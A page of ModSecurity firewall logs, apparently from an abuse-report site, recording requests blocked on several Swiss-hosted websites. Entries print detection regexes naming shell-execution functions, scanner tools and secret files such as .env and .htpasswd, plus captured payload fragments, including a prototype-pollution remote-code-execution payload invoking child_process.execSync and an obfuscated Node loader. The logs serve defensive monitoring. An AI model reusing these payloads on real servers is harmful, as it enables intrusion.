[WedNov0414:28:53.4769512026][security2:error][pid3444913:tid3444980][client93.152.205.181:0]ModSecu ...
show more[WedNov0414:28:53.4769512026][security2:error][pid3444913:tid3444980][client93.152.205.181:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\<\?/\?\?script\|\<\?\(\?:i\?frame\?src\|a\?href\)\?=\?\(\?:ogg\|tls\|ssl\|gopher\|zlib\|\(ht\|f\)tps\?\)\\\\\\\\:/\|document\\\\\\\\.write\?\\\\\\\\\(\|\(\?:\<\|\<\?/\)\?\(\?:\(\?:java\|vb\)script\|applet\|activex\|chrome\|qx\?ss\|embed\)\|\<\?/\?i\?frame\\\\\\\\b\|\<\?imgsrc\?=\|\<\?basehref\?=\)\"atARGS:message.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"1065\"][id\"340148\"][rev\"162\"][msg\"Atomicorp.comWAFRules:PotentialCrossSiteScriptingAttack\"][data\"\<ahref=https:/\"][severity\"CRITICAL\"][hostname\"www.studiokellybenessere.ch\"][uri\"/contact.php\"][unique_id\"auszFfkQjx5dNWO-e2rLJAAAAMc\"]\,referer:https://www.studiokellybenessere.ch/
show less
[WedNov0414:27:48.6582662026][security2:error][pid2663941:tid2664021][client34.65.84.154:0]ModSecuri ...
show more[WedNov0414:27:48.6582662026][security2:error][pid2663941:tid2664021][client34.65.84.154:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Patternmatch\"\(\?i\)\(\?:/\(\?:\^\|/\)\\\\\\\\.\(env\|git\|svn\|hg\|DS_Store\)\|/\(\?:wp-config\|\\\\\\\\.htaccess\|\\\\\\\\.htpasswd\)\|\\\\\\\\.\(\?:sql\|bak\|old\|log\)\$\)\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"156\"][id\"960720\"][msg\"Forbiddenfileaccessattempt\"][severity\"CRITICAL\"][hostname\"torrimonda.ch.136-243-54-122.cpanel.site\"][uri\"/phpinfo.php.bak\"][unique_id\"ausy1P4UoHd6TYT6Y7olrAAAAJE\"]
show less
[WedNov0414:27:31.4336552026][security2:error][pid2663945:tid2664078][client62.210.77.108:0]ModSecur ...
show more[WedNov0414:27:31.4336552026][security2:error][pid2663945:tid2664078][client62.210.77.108:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Patternmatch\"\(\?i\)\(curl\|wget\|python\|nikto\|sqlmap\|acunetix\|fimap\|dirbuster\|cmsmap\)\"atREQUEST_HEADERS:User-Agent.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"217\"][id\"990210\"][msg\"Suspicioususer-agentblocked\"][hostname\"prstartup.ch\"][uri\"/\"][unique_id\"ausywxMrB5cvhSDqfYkcYwAAARQ\"]
show less
[WedNov0414:27:11.1926432026][security2:error][pid3444913:tid3444978][client51.158.187.64:0]ModSecur ...
show more[WedNov0414:27:11.1926432026][security2:error][pid3444913:tid3444978][client51.158.187.64:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?i\)\\\\\\\\b\(\?:i\(\?:s\(\?:_\(\?:in\(\?:t\(\?:eger\)\?\|finite\)\|n\(\?:u\(\?:meric\|ll\)\|an\)\|\(\?:calla\|dou\)ble\|s\(\?:calar\|tring\)\|f\(\?:inite\|loat\)\|re\(\?:source\|al\)\|l\(\?:ink\|ong\)\|a\(\?:rray\)\?\|object\|bool\)\|set\)\|n\(\?:\(\?:clud\|vok\)e\|t\(\?:div\|val\)\)\|\(\?:mplod\|dat\)e\|conv\)\|s\(\?:t\(\?:r\(\?:\(\?:le\|sp\)n\|...\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"582\"][id\"380026\"][rev\"27\"][msg\"Atomicorp.comWAFRules:PHPpayloaddetected\"][data\"function\(\'returnimport\(\\\\x5c\\\\x22node:child_process\\\\x5c\\\\x22\)\'\)\(\)\,function\(\'returnimport\(\\\\x5c\\\\x22node:zlib\\\\x5c\\\\x22\)\'\)\(\)]\).then\(\([cp\,zlib]\)=\>{returnnewpromise\(\(resolve\,reject\)=\>{try{varuser_code=global[string.fromcharcode\(66\,117\,102\,102\,101\,114\)].from\(\'286173796e632066756e6374696f6e28297b636f6
show less
[WedNov0414:26:51.7575372026][security2:error][pid2663945:tid2664074][client23.132.164.151:0]ModSecu ...
show more[WedNov0414:26:51.7575372026][security2:error][pid2663945:tid2664074][client23.132.164.151:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\\(chr\?\\\\\\\\\(\?[0-9]{1\,3}\?\\\\\\\\\)\|\?=\?f\(\?:open\|write\)\?\\\\\\\\\(\|\\\\\\\\b\(\?:passthru\|serialize\|php_uname\|phpinfo\|shell_exec\|preg_\\\\\\\\w \|mysql_query\|exec\|include\|eval\|create_function\|system\|base64_decode\|decode_base64\|base64_url_decode\|str_rot13\)\\\\\\\\b\?\(\?:\\\\\\\\\(\|\\\\\\\\:\)\)\"atARGS:l.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"724\"][id\"340195\"][rev\"4\"][msg\"Atomicorp.comWAFRules:AttackBlocked-Base64EncodedPHPfunctioninArgument-thismaybeanattack.\"][data\"php_uname\(\"][severity\"CRITICAL\"][hostname\"studio-portale.ch\"][uri\"/wp-plain.php\"][unique_id\"ausymxMrB5cvhSDqfYkcUwAAARA\"]\,referer:www.google.com
show less
[WedNov0414:24:57.0489202026][security2:error][pid3444914:tid3445037][client34.106.202.51:0]ModSecur ...
show more[WedNov0414:24:57.0489202026][security2:error][pid3444914:tid3445037][client34.106.202.51:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\\$\(\?:\\\\\\\\\(\(\?:\\\\\\\\\(.\*\\\\\\\\\)\|.\*\)\\\\\\\\\)\|\\\\\\\\{.\*\\\\\\\\}\)\|[\<\>]\\\\\\\\\(.\*\\\\\\\\\)\)\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"396\"][id\"393655\"][rev\"17\"][msg\"Atomicorp.comWAFRules:PossibleRemoteCommandExecution:UnixShellExpressionFound\"][data\"MatchedData:\$\(\(41\*271\)\)foundwithinARGS:0:{then:\$1:__proto__:thenstatus:resolved_modelreason:-1value:{then:\$b1337}_response:{_prefix:varres=process.mainmodule.require\(child_process\).execsync\(echo\$\(\(41\*271\)\)\|base64-w0\).tostring\(\).trim\(\)throwobject.assign\(newerror\(next_redirect\){digest:\`next_redirectpush/login\?a=\${res}307\`}\)_chunks:\$q2_formdata:{get:\$1:constructor:constructor}}}\"][tag\"attack-rce\"][hostname\"aesthetische.beauty.81-17-25-250.cpanel.site\"][uri\"/\"][unique_id\"ausyKb8TuSqAd92QP1VGbQAA
show less
[WedNov0414:24:33.5269132026][security2:error][pid2660673:tid2660776][client2602:80d:1008::f:0]ModSe ...
show more[WedNov0414:24:33.5269132026][security2:error][pid2660673:tid2660776][client2602:80d:1008::f:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\bshodan\\\\\\\\b\|\\\\\\\\bcensysinspect\\\\\\\\b\|\\\\\\\\bcensys\\\\\\\\b\|\\\\\\\\bexpanse\\\\\\\\b\|\\\\\\\\bnetsystemsresearch\\\\\\\\b\|\\\\\\\\bnetcraftsurveyagent\\\\\\\\b\)\"atREQUEST_HEADERS:User-Agent.[file\"/etc/apache2/conf.d/modsec_rules/20_asl_useragents.conf\"][line\"73\"][id\"338801\"][rev\"1\"][msg\"Atomicorp.comWAFRules:Blockedinternet-widesurveyorUA\"][severity\"ERROR\"][hostname\"www.titrasloco.com\"][uri\"/\"][unique_id\"ausyEepeOCLfD81yIjRs2QAAANA\"]
show less
[WedNov0414:23:03.7047612026][security2:error][pid2660675:tid2660799][client51.159.119.178:0]ModSecu ...
show more[WedNov0414:23:03.7047612026][security2:error][pid2660675:tid2660799][client51.159.119.178:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Patternmatch\"\(\?i\)\(curl\|wget\|python\|nikto\|sqlmap\|acunetix\|fimap\|dirbuster\|cmsmap\)\"atREQUEST_HEADERS:User-Agent.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"217\"][id\"990210\"][msg\"Suspicioususer-agentblocked\"][hostname\"bianchitecno.ch\"][uri\"/\"][unique_id\"ausxt_KOHI0iXyYiin4LkwAAAQw\"]
show less
[WedNov0414:22:57.8400072026][security2:error][pid3444912:tid3445054][client34.50.111.14:0]ModSecuri ...
show more[WedNov0414:22:57.8400072026][security2:error][pid3444912:tid3445054][client34.50.111.14:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\\$\(\?:\\\\\\\\\(\(\?:\\\\\\\\\(.\*\\\\\\\\\)\|.\*\)\\\\\\\\\)\|\\\\\\\\{.\*\\\\\\\\}\)\|[\<\>]\\\\\\\\\(.\*\\\\\\\\\)\)\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"396\"][id\"393655\"][rev\"17\"][msg\"Atomicorp.comWAFRules:PossibleRemoteCommandExecution:UnixShellExpressionFound\"][data\"MatchedData:\$\(\(41\*271\)\)foundwithinARGS:0:{then:\$1:__proto__:thenstatus:resolved_modelreason:-1value:{then:\$b1337}_response:{_prefix:varres=process.mainmodule.require\(child_process\).execsync\(echo\$\(\(41\*271\)\)\|base64-w0\).tostring\(\).trim\(\)throwobject.assign\(newerror\(next_redirect\){digest:\`next_redirectpush/login\?a=\${res}307\`}\)_chunks:\$q2_formdata:{get:\$1:constructor:constructor}}}\"][tag\"attack-rce\"][hostname\"sesael.ch\"][uri\"/\"][unique_id\"ausxsYB4UcdGXhOBcBkFnAAAAJc\"]
show less
[WedNov0414:22:50.4502232026][security2:error][pid2660675:tid2660797][client217.160.229.114:0]ModSec ...
show more[WedNov0414:22:50.4502232026][security2:error][pid2660675:tid2660797][client217.160.229.114:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?i\)\\\\\\\\b\(\?:i\(\?:s\(\?:_\(\?:in\(\?:t\(\?:eger\)\?\|finite\)\|n\(\?:u\(\?:meric\|ll\)\|an\)\|\(\?:calla\|dou\)ble\|s\(\?:calar\|tring\)\|f\(\?:inite\|loat\)\|re\(\?:source\|al\)\|l\(\?:ink\|ong\)\|a\(\?:rray\)\?\|object\|bool\)\|set\)\|n\(\?:\(\?:clud\|vok\)e\|t\(\?:div\|val\)\)\|\(\?:mplod\|dat\)e\|conv\)\|s\(\?:t\(\?:r\(\?:\(\?:le\|sp\)n\|...\"atREQUEST_COOKIES:4d5d155d508a4a358e8ec19b16a4af51.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"582\"][id\"380026\"][rev\"27\"][msg\"Atomicorp.comWAFRules:PHPpayloaddetected\"][data\"echo\(1831\*3779\)\"][severity\"CRITICAL\"][tag\"SQLi\"][tag\"RCE\"][hostname\"alessandrolucchini.ch\"][uri\"/wp-content/plugins/translatepress-multilingual/index.php\"][unique_id\"ausxqvKOHI0iXyYiin4LkgAAAQo\"]
show less
[WedNov0414:20:53.1554072026][security2:error][pid2660675:tid2660797][client34.21.8.52:0]ModSecurity ...
show more[WedNov0414:20:53.1554072026][security2:error][pid2660675:tid2660797][client34.21.8.52:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\bshodan\\\\\\\\b\|\\\\\\\\bcensysinspect\\\\\\\\b\|\\\\\\\\bcensys\\\\\\\\b\|\\\\\\\\bexpanse\\\\\\\\b\|\\\\\\\\bnetsystemsresearch\\\\\\\\b\|\\\\\\\\bnetcraftsurveyagent\\\\\\\\b\)\"atREQUEST_HEADERS:User-Agent.[file\"/etc/apache2/conf.d/modsec_rules/20_asl_useragents.conf\"][line\"73\"][id\"338801\"][rev\"1\"][msg\"Atomicorp.comWAFRules:Blockedinternet-widesurveyorUA\"][severity\"ERROR\"][hostname\"www.bno.ch\"][uri\"/scripts/jquery.watch.js\"][unique_id\"ausxNfKOHI0iXyYiin4LXQAAAQo\"]
show less
[WedNov0414:20:19.9941202026][security2:error][pid3444914:tid3444990][client51.15.71.23:0]ModSecurit ...
show more[WedNov0414:20:19.9941202026][security2:error][pid3444914:tid3444990][client51.15.71.23:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?i\)\\\\\\\\b\(\?:i\(\?:s\(\?:_\(\?:in\(\?:t\(\?:eger\)\?\|finite\)\|n\(\?:u\(\?:meric\|ll\)\|an\)\|\(\?:calla\|dou\)ble\|s\(\?:calar\|tring\)\|f\(\?:inite\|loat\)\|re\(\?:source\|al\)\|l\(\?:ink\|ong\)\|a\(\?:rray\)\?\|object\|bool\)\|set\)\|n\(\?:\(\?:clud\|vok\)e\|t\(\?:div\|val\)\)\|\(\?:mplod\|dat\)e\|conv\)\|s\(\?:t\(\?:r\(\?:\(\?:le\|sp\)n\|...\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"582\"][id\"380026\"][rev\"27\"][msg\"Atomicorp.comWAFRules:PHPpayloaddetected\"][data\"function\(\'returnimport\(\\\\x5c\\\\x22node:child_process\\\\x5c\\\\x22\)\'\)\(\)\,function\(\'returnimport\(\\\\x5c\\\\x22node:zlib\\\\x5c\\\\x22\)\'\)\(\)]\).then\(\([cp\,zlib]\)=\>{returnnewpromise\(\(resolve\,reject\)=\>{try{varuser_code=global[string.fromcharcode\(66\,117\,102\,102\,101\,114\)].from\(\'286173796e632066756e6374696f6e28297b636f6e7
show less
[WedNov0414:20:01.4284942026][security2:error][pid2655018:tid2655071][client47.15.221.135:0]ModSecur ...
show more[WedNov0414:20:01.4284942026][security2:error][pid2655018:tid2655071][client47.15.221.135:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"170\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"www.ksmstudio.ch\"][uri\"/xmlrpc.php\"][unique_id\"ausxASMM8D5A6vcM2taJsQAAAEw\"]
show less
[WedNov0414:19:58.8623112026][security2:error][pid2655018:tid2655064][client59.152.97.139:0]ModSecur ...
show more[WedNov0414:19:58.8623112026][security2:error][pid2655018:tid2655064][client59.152.97.139:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"170\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"ksmstudio.ch\"][uri\"/xmlrpc.php\"][unique_id\"ausw_iMM8D5A6vcM2taJrwAAAEU\"]
show less
[WedNov0414:19:38.7009762026][security2:error][pid2655015:tid2655041][client34.176.94.62:0]ModSecuri ...
show more[WedNov0414:19:38.7009762026][security2:error][pid2655015:tid2655041][client34.176.94.62:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\\$\(\?:\\\\\\\\\(\(\?:\\\\\\\\\(.\*\\\\\\\\\)\|.\*\)\\\\\\\\\)\|\\\\\\\\{.\*\\\\\\\\}\)\|[\<\>]\\\\\\\\\(.\*\\\\\\\\\)\)\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"396\"][id\"393655\"][rev\"17\"][msg\"Atomicorp.comWAFRules:PossibleRemoteCommandExecution:UnixShellExpressionFound\"][data\"MatchedData:\$\(\(41\*271\)\)foundwithinARGS:0:{then:\$1:__proto__:thenstatus:resolved_modelreason:-1value:{then:\$b1337}_response:{_prefix:varres=process.mainmodule.require\(child_process\).execsync\(echo\$\(\(41\*271\)\)\|base64-w0\).tostring\(\).trim\(\)throwobject.assign\(newerror\(next_redirect\){digest:\`next_redirectpush/login\?a=\${res}307\`}\)_chunks:\$q2_formdata:{get:\$1:constructor:constructor}}}\"][tag\"attack-rce\"][hostname\"mail.alessandrolucchini.ch\"][uri\"/\"][unique_id\"ausw6haEYcB61Bkiu1eBnwAAAAs\"]
show less
[WedNov0414:18:40.8062502026][security2:error][pid2655022:tid2655151][client41.185.9.52:0]ModSecurit ...
show more[WedNov0414:18:40.8062502026][security2:error][pid2655022:tid2655151][client41.185.9.52:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?i\)\\\\\\\\b\(\?:i\(\?:s\(\?:_\(\?:in\(\?:t\(\?:eger\)\?\|finite\)\|n\(\?:u\(\?:meric\|ll\)\|an\)\|\(\?:calla\|dou\)ble\|s\(\?:calar\|tring\)\|f\(\?:inite\|loat\)\|re\(\?:source\|al\)\|l\(\?:ink\|ong\)\|a\(\?:rray\)\?\|object\|bool\)\|set\)\|n\(\?:\(\?:clud\|vok\)e\|t\(\?:div\|val\)\)\|\(\?:mplod\|dat\)e\|conv\)\|s\(\?:t\(\?:r\(\?:\(\?:le\|sp\)n\|...\"atREQUEST_COOKIES:4d5d155d508a4a358e8ec19b16a4af51.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"582\"][id\"380026\"][rev\"27\"][msg\"Atomicorp.comWAFRules:PHPpayloaddetected\"][data\"echo\(4081\*4855\)\"][severity\"CRITICAL\"][tag\"SQLi\"][tag\"RCE\"][hostname\"prstartup.ch\"][uri\"/wp-content/themes/twentytwentytwo/functions.php\"][unique_id\"auswsKTVwQXAAW-2DgJilwAAANM\"]
show less
[WedNov0414:18:04.3289112026][security2:error][pid2655024:tid2655130][client216.67.230.53:0]ModSecur ...
show more[WedNov0414:18:04.3289112026][security2:error][pid2655024:tid2655130][client216.67.230.53:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?i\)\\\\\\\\b\(\?:i\(\?:s\(\?:_\(\?:in\(\?:t\(\?:eger\)\?\|finite\)\|n\(\?:u\(\?:meric\|ll\)\|an\)\|\(\?:calla\|dou\)ble\|s\(\?:calar\|tring\)\|f\(\?:inite\|loat\)\|re\(\?:source\|al\)\|l\(\?:ink\|ong\)\|a\(\?:rray\)\?\|object\|bool\)\|set\)\|n\(\?:\(\?:clud\|vok\)e\|t\(\?:div\|val\)\)\|\(\?:mplod\|dat\)e\|conv\)\|s\(\?:t\(\?:r\(\?:\(\?:le\|sp\)n\|...\"atREQUEST_COOKIES:4d5d155d508a4a358e8ec19b16a4af51.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"582\"][id\"380026\"][rev\"27\"][msg\"Atomicorp.comWAFRules:PHPpayloaddetected\"][data\"echo\(4400\*1683\)\"][severity\"CRITICAL\"][tag\"SQLi\"][tag\"RCE\"][hostname\"cpfacilityservices.ch\"][uri\"/wp-content/themes/twentytwentyfour/functions.php\"][unique_id\"auswjLcqe1kNw1kVlhfp1QAAAUc\"]
show less
[WedNov0414:16:10.8097432026][security2:error][pid2655022:tid2655155][client2.57.249.103:0]ModSecuri ...
show more[WedNov0414:16:10.8097432026][security2:error][pid2655022:tid2655155][client2.57.249.103:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"autoeuro.lv\"][uri\"/\"][unique_id\"auswGqTVwQXAAW-2DgJifAAAANU\"]
show less
[WedNov0414:16:07.4511472026][security2:error][pid2655022:tid2655144][client65.21.113.200:0]ModSecur ...
show more[WedNov0414:16:07.4511472026][security2:error][pid2655022:tid2655144][client65.21.113.200:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"www.giuseppeasaro.com\"][uri\"/robots.txt\"][unique_id\"auswF6TVwQXAAW-2DgJieAAAAM8\"]
show less
[WedNov0414:15:35.6685322026][security2:error][pid2655018:tid2655068][client157.22.73.47:0]ModSecuri ...
show more[WedNov0414:15:35.6685322026][security2:error][pid2655018:tid2655068][client157.22.73.47:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"brunocampagna.com\"][uri\"/403.shtml\"][unique_id\"ausv9yMM8D5A6vcM2taJmAAAAEk\"]
show less
[WedNov0414:15:35.0408582026][security2:error][pid2655018:tid2655067][client155.212.37.208:0]ModSecu ...
show more[WedNov0414:15:35.0408582026][security2:error][pid2655018:tid2655067][client155.212.37.208:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"brunocampagna.com\"][uri\"/robots.txt\"][unique_id\"ausv9yMM8D5A6vcM2taJlwAAAEg\"]
show less
[WedNov0414:15:18.5657272026][security2:error][pid3427702:tid3427732][client184.75.221.163:0]ModSecu ...
show more[WedNov0414:15:18.5657272026][security2:error][pid3427702:tid3427732][client184.75.221.163:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"714\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"swisservers.com\"][uri\"/xmlrpc.php\"][unique_id\"ausv5oqMTax55KGybdPpCQAAAA8\"]
show less
[WedNov0414:13:13.9218252026][security2:error][pid3427707:tid3427850][client34.17.188.214:0]ModSecur ...
show more[WedNov0414:13:13.9218252026][security2:error][pid3427707:tid3427850][client34.17.188.214:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\\$\(\?:\\\\\\\\\(\(\?:\\\\\\\\\(.\*\\\\\\\\\)\|.\*\)\\\\\\\\\)\|\\\\\\\\{.\*\\\\\\\\}\)\|[\<\>]\\\\\\\\\(.\*\\\\\\\\\)\)\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"396\"][id\"393655\"][rev\"17\"][msg\"Atomicorp.comWAFRules:PossibleRemoteCommandExecution:UnixShellExpressionFound\"][data\"MatchedData:\$\(\(41\*271\)\)foundwithinARGS:0:{then:\$1:__proto__:thenstatus:resolved_modelreason:-1value:{then:\$b1337}_response:{_prefix:varres=process.mainmodule.require\(child_process\).execsync\(echo\$\(\(41\*271\)\)\|base64-w0\).tostring\(\).trim\(\)throwobject.assign\(newerror\(next_redirect\){digest:\`next_redirectpush/login\?a=\${res}307\`}\)_chunks:\$q2_formdata:{get:\$1:constructor:constructor}}}\"][tag\"attack-rce\"][hostname\"hosting-domain-swiss-com.ticino-hosting.ch\"][uri\"/\"][unique_id\"ausvaYljfRY9Ph0ksVodJQAAAR
show less
[WedNov0414:11:19.0133962026][security2:error][pid2651436:tid2651499][client84.233.199.165:0]ModSecu ...
show more[WedNov0414:11:19.0133962026][security2:error][pid2651436:tid2651499][client84.233.199.165:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Patternmatch\"\(\?i\)\(\?:/\(\?:\^\|/\)\\\\\\\\.\(env\|git\|svn\|hg\|DS_Store\)\|/\(\?:wp-config\|\\\\\\\\.htaccess\|\\\\\\\\.htpasswd\)\|\\\\\\\\.\(\?:sql\|bak\|old\|log\)\$\)\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"156\"][id\"960720\"][msg\"Forbiddenfileaccessattempt\"][severity\"CRITICAL\"][hostname\"webmail.gmint.ch\"][uri\"/.env.bak\"][unique_id\"ausu9xSNImztkxYwLgcScgAAAII\"]
show less
[WedNov0414:10:28.5090532026][security2:error][pid2651440:tid2651551][client34.106.131.75:0]ModSecur ...
show more[WedNov0414:10:28.5090532026][security2:error][pid2651440:tid2651551][client34.106.131.75:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Patternmatch\"\(\?i\)\(\?:/\(\?:\^\|/\)\\\\\\\\.\(env\|git\|svn\|hg\|DS_Store\)\|/\(\?:wp-config\|\\\\\\\\.htaccess\|\\\\\\\\.htpasswd\)\|\\\\\\\\.\(\?:sql\|bak\|old\|log\)\$\)\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"156\"][id\"960720\"][msg\"Forbiddenfileaccessattempt\"][severity\"CRITICAL\"][hostname\"agenziastella.ch.136-243-54-122.cpanel.site\"][uri\"/phpinfo.php.bak\"][unique_id\"ausuxPo0_aPr8q3qhtAiJgAAAVA\"]
show less
Port ScanBrute-ForceWeb App Attack
By clicking โAccept allโ, you agree to the storing of cookies on your device to remember preferences and
analyze site usage.
Read more
- Required to log into your AbuseIPDB account, and store these cookie preferences.